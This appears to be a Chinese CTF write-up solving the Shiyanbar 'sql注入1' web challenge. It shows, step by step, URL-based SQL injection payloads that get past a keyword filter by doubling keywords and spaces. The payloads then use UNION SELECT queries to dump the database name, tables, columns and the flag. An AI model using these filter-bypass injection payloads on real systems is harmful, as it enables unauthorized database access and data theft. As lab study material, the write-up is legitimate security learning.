欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

程序员文章站 2024-03-20 22:32:16
...

0x01:题目

实验吧——sql注入1网址 题目
http://ctf5.shiyanbar.com/423/web/ flag,到底过滤了什么东西?

0x02:WP复现

1.正常访问:

http://ctf5.shiyanbar.com/423/web/			#如下图所示

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

2.输入单引号'测试:

http://ctf5.shiyanbar.com/423/web/?id='

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

3.在URL框里测试哪些被过滤了:

①输入单引号测试:

http://ctf5.shiyanbar.com/423/web/?id=%27			#很明显是字符型注入

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
②使用and测试哪些被过滤:

http://ctf5.shiyanbar.com/423/web/?id=' and 1=1 #			   #如图所示,只要'闭合后,后面的空格+and+空格+空格+#被过滤

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
③尝试绕过and——双写法(注意空格也要双写),以及用手动写单引号闭合来绕过#注释符

http://ctf5.shiyanbar.com/423/web/?id='  andand  1='1  					#发现无报错,yes绕过成功

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

④为了进一步的验证可以在第一个闭合处,输入1

http://ctf5.shiyanbar.com/423/web/?id=1'  andand  1='1  					#发现无报错,yes绕过成功,回显数据。

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
⑤使用or测试:

' or 1=1 #					#发现第一个闭合后,的所有东西被过滤,空格+or+1=1+空格+#,只有一个自动的闭合单引号显示

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

⑥尝试

' or 1='1			#不报错。。。。。

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
4.order by猜解字段数,虽然可以看出来,好像是1列(1个字段)。

但是这里的order by好像没有作用了。。。。。
1.实验吧——sql注入1(flag,到底过滤了什么东西? )
1.实验吧——sql注入1(flag,到底过滤了什么东西? )
1.实验吧——sql注入1(flag,到底过滤了什么东西? )
5.那就使用union select测试:

①尝试一个字段:

' unionunion  selectselect  '1			#发现,回显正常

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
②尝试两个字段:

' unionunion  selectselect  1,'2			#发现,列数不同,所以只能是1列(列即是字段)

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
6.使用union select开始暴库,表,字段
①库名

' unionunion  selectselect  database()'				#库名web1(注意:闭合时候,单引号位置要多次尝试,这次就是在database()之后手动闭合,但是order by时候就不行,必须要在1前面闭合)

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
②暴库中的表

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema=database()'

1.实验吧——sql注入1(flag,到底过滤了什么东西? )

' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  '1	  	#注意,只是双写后的要加双空格		#既然上面那一条是查询当前库的当前表查询不到,我们直接查询所有表即可

1.实验吧——sql注入1(flag,到底过滤了什么东西? )
③暴表中的字段:
’ unionunion selectselect columcolumn_namen_name fromfrom inforinformation_schema.columnsmation_schema.columns wherewhere ‘1’='1 #出了点问题,字段名应该有flag的
1.实验吧——sql注入1(flag,到底过滤了什么东西? )

④暴flag字段

' unionunion  selectselect  flag fromfrom  flag wherewhere  '1'='1

1.实验吧——sql注入1(flag,到底过滤了什么东西? )